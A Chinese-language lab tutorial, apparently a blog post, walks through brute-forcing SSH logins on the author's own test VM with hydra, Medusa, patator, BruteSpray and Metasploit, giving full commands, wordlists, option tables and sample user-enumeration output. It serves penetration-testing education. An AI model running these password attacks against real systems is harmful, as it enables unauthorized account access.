1.实验环境

准备一台装有kali的虚拟机和一台ssh端口开放的虚拟机 这里面的暴力破解全是使用的kali里面自带的软件破解的。

kali                192.168.13.145       #装有kali的虚拟机
localhost        192.168.13.128       #被破解的虚拟机
首先我们去192.168.13.128 上面创建用户并设置密码以供测试
[root@localhost ~]# useradd yjssjm
[root@localhost ~]# passwd yjssjm
更改用户 yjssjm 的密码 。
新的 密码:
无效的密码: 密码少于 8 个字符
重新输入新的 密码:
passwd:所有的身份验证令牌已经成功更新。
用户名 yjssjm  密码123
2. hydra [海德拉]

bc521e5c55257a8a531ab9ba58508e2c.png
hydra 是世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被
破解关键取决 于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。

指定单个用户和密码

root@kali:~# hydra -l root -p 1 192.168.13.128 ssh
-l (小写l)            指定用户
-p(小写p)             指定密码

06483c915fff6ccce5081ce2c0f8d581.png
用户列表破解 指定单个的用户和密码一个一个去试的话比较麻烦,我们何以创建一些写有用户名和密码的文件从而来指定文件。
root@kali:~# vim userlist.txt 
root
yjssjm
admin
test
root@kali:~# vim passwdlist.txt 
1
12
123
1234
yjssjm
root@kali:~# hydra -L userlist.txt -P passwdlist.txt -t 20 192.168.13.128 ssh
-L(大写L) 指定用户列表
-P(大写P) 指定密码列表
-t 指定线程数
root@kali:~# vim hostlist.txt    #创建主机列表
192.168.13.128
root@kali:~# hydra -L userlist.txt -P passwdlist.txt -M hostlist.txt ssh -o ssh-hydra.ok
-M 指定主机列表

e39f8556dc7cff977455a246f5d15a89.png
3.Medusa [美杜莎]

fe25fdb608cbee81ab7dffdb856fc99e.png
Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行
强力测试。Medusa 和 hydra 一样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于 hydra 
要好很多,但其支持模块要比 hydra 少一些。

语法参数

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT] 
-h     [TEXT] 目标主机名称或者IP地址 
-H     [FILE] 包含目标主机名称或者IP地址文件 
-u         [TEXT] 测试的用户名 -U [FILE] 包含测试的用户名文件 
-p        [TEXT] 测试的密码 
-P     [FILE] 包含测试的密码文件 
-C     [FILE] 组合条目文件 
-O     [FILE] 日志信息文件 
-e     [n/s/ns] n代表空密码,s代表为密码与用户名相同 
-M     [TEXT] 模块执行名称 
-m     [TEXT] 传递参数到模块 
-d     显示所有的模块名称 
-n     [NUM] 使用非默认Tcp端口 
-s     启用SSL 
-r         [NUM] 重试间隔时间,默认为3秒 
-t         [NUM] 设定线程数量
-T     同时测试的主机总数 
-L     并行化,每个用户使用一个线程 
-f         在任何主机上找到第一个账号/密码后,停止破解 
-F     在任何主机上找到第一个有效的用户名/密码后停止审计 
-q     显示模块的使用信息 
-v     [NUM] 详细级别(0-6) 
-w     [NUM] 错误调试级别(0-10) 
-V     显示版本 
-Z     [TEXT] 继续扫描上一次

常用的参数

root@kali:~# medusa -M ssh -h 192.168.13.128 -u root -P passwdlist.txt
root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passwdlist.txt

f6d0caeee2be11cde66c20463684541b.png
root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passwdlist.txt -F   #成功就停止
root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passwdlist.txt -O ssh.log   #日志

26aa60c4eea193cf1cb382bca26a6b9f.png
4.patator

Patator,强大的命令行暴力破解器 1.可用模块

50b64d819ecf8dd826af45020f716006.png 2.用法

175511ce47e1cb06eb63defb70d22844.png 3.示例
root@kali:~# patator ssh_login host=192.168.13.128 user=root password=FILE0 0=passwdlist.txt
root@kali:~# patator ssh_login host=192.168.13.128 user=root password=FILE0 0=passwdlist.txt -x ignore:mesg='Authentication failed.'    #忽略失败的信息
这里面FILE是必须写的,但是后面的阿拉伯数字是任意的,但是要对应。如:
password=FILE2 2=passwdlist.txt      相当于password=passwdlist.txt 的意思
root@kali:~# patator ssh_login host=192.168.13.128 user=FILE1 1=userlist.txt password=FILE0 0=passwdlist.txt -x ignore:mesg='Authentication failed.' 

ebb8a36210e764689a989dab11d8bfb6.png
5.BrutesPray

BruteSpray 是一款基于nmap扫描输出的gnmap/XML文件.自动调用Medusa对服务进行爆破(Medusa美杜莎 是一款端口 爆破工具,速度比Hydra九头蛇快)。

因为不是kali自带的,所以我们需要安装。安装时间很长----
root@kali:~# apt-get update 
root@kali:~# apt-get install brutespray

重要参数

-f FILE, --file FILE 参数后跟一个文件名, 解析nmap输出的GNMAP或者XML文件 
-o OUTPUT, --output OUTPUT 包含成功尝试的目录 
-s SERVICE, --service SERVICE 参数后跟一个服务名, 指定要攻击的服务 
-t THREADS, --threads THREADS 参数后跟一数值,指定medusa线程数 
-T HOSTS, --hosts HOSTS 参数后跟一数值,指定同时测试的主机数 
-U USERLIST, --userlist USERLIST 参数后跟用户字典文件 
-P PASSLIST, --passlist PASSLIST 参数后跟密码字典文件 
-u USERNAME, --username USERNAME 参数后跟用户名,指定一个用户名进行爆破 
-p PASSWORD, --password PASSWORD 参数后跟密码,指定一个密码进行爆破 
-c, --continuous 成功之后继续爆破 
-i, --interactive 交互模式
6.MSF

Metasploit Framework(简称MSF)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试, Shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Perl编程语言编写的,并带有由C语 言,汇编程序和Python编写的可选组件。

root@kali:~# msfconsole   #启动msf
msf > search ssh       #调用ssh模块
#上面两步可能需要几分钟等待,不要着急

1.SSH用户枚举
msf > use auxiliary/scanner/ssh/ssh_enumusers     #ssh枚举的指令
msf auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.13.128    #指定主机
msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist.txt   #指定用户列表文件
msf auxiliary(scanner/ssh/ssh_enumusers) > run  #自动执行
[*] 192.168.13.128:22 - SSH - Checking for false positives
[*] 192.168.13.128:22 - SSH - Starting scan
[+] 192.168.13.128:22 - SSH - User 'root' found
[+] 192.168.13.128:22 - SSH - User 'yjssjm' found
[-] 192.168.13.128:22 - SSH - User 'admin' not found
[-] 192.168.13.128:22 - SSH - User 'test' not found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

2. SSH版本探测
msf auxiliary(scanner/ssh/ssh_enumusers) > use auxiliary/scanner/ssh/ssh_version 
msf auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.13.128
msf auxiliary(scanner/ssh/ssh_version) > run

[+] 192.168.13.128:22     - SSH server version: SSH-2.0-OpenSSH_7.4 ( service.version=7.4 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.protocol=ssh fingerprint_db=ssh.banner )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

3 SSH 暴力破解
msf auxiliary(scanner/ssh/ssh_version) > use auxiliary/scanner/ssh/ssh_login 
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.13.128
msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt 
msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passwdlist.txt 
msf auxiliary(scanner/ssh/ssh_login) > run

9daf0d974fda56e82ecc449385b3da7b.png

你们的评论和点赞是我写文章的最大动力,蟹蟹。

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐